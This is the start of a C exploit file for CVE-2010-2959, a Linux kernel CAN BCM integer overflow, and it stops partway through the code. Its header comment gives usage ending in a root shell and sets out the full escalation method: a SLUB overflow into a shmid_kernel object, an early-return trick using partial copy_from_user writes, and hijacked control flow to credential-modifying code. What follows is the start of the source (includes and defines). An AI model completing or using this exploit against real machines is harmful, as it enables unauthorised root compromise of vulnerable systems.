/* * i-CAN-haz-MODHARDEN.c * * Linux Kernel < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2959 * * Ben Hawkes discovered an integer overflow in the Controller Area Network * (CAN) subsystem when setting up frame content and filtering certain * messages. An attacker could send specially crafted CAN traffic to crash * the system or gain root privileges. * * Usage: * * $ gcc i-can-haz-modharden.c -o i-can-haz-modharden * $ ./i-can-haz-modharden * ... * [+] launching root shell! * # id * uid=0(root) gid=0(root) * * Notes: * * The allocation pattern of the CAN BCM module gives us some desirable * properties for smashing the SLUB. We control the kmalloc with a 16-byte * granularity allowing us to place our allocation in the SLUB cache of our * choosing (we'll use kmalloc-96 and smash a shmid_kernel struct for * old-times sake). The allocation can also be made in its own discrete * stage before the overwrite which allows us to be a bit more conservative * in ensuring the proper layout of our SLUB cache. * * To exploit the vulnerability, we first create a BCM RX op with a crafted * nframes to trigger the integer overflow during the kmalloc. On the second * call to update the existing RX op, we bypass the E2BIG check since the * stored nframes in the op is large, yet has an insufficiently sized * allocation associated with it. We then have a controlled write into the * adjacent shmid_kernel object in the 96-byte SLUB cache. * * However, while we control the length of the SLUB overwrite via a * memcpy_fromiovec operation, there exists a memset operation that directly * follows which zeros out last_frames, likely an adjacent allocation, with * the same malformed length, effectively nullifying our shmid smash. To * work around this, we take advantage of the fact that copy_from_user can * perform partial writes on x86 and trigger an EFAULT by setting up a * truncated memory mapping as the source for the memcpy_fromiovec operation, * allowing us to smash the necessary amount of memory and then pop out and * return early before the memset operation occurs. * * We then perform a dry-run and detect the shmid smash via an EIDRM errno * from shmat() caused by an invalid ipc_perm sequence number. Once we're * sure we have a shmid_kernel under our control we re-smash it with the * malformed version and redirect control flow to our credential modifying * calls mapped in user space. * * Distros: please use grsecurity's MODHARDEN or SELinux's module_request * to restrict unprivileged loading of uncommon packet families. Allowing * the loading of poorly-written PF modules just adds a non-trivial and * unnecessary attack surface to the kernel. * * Targeted for 32-bit Ubuntu Lucid 10.04 (2.6.32-21-generic), but ports * easily to other vulnerable kernels/distros. Careful, it could use some * post-exploitation stability love as well. * * Props to twiz, sgrakkyu, spender, qaaz, and anyone else I missed that * this exploit borrows code from. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/mman.h> #include <sys/stat.h> #define SLUB "kmalloc-96" #define ALLOCATION 96 #define FILLER 100 #ifndef PF_CAN #define PF_CAN 29 #endif #ifndef CAN_BCM #define CAN_BCM 2 #endif struct sockaddr_can { sa_family_t can_family;
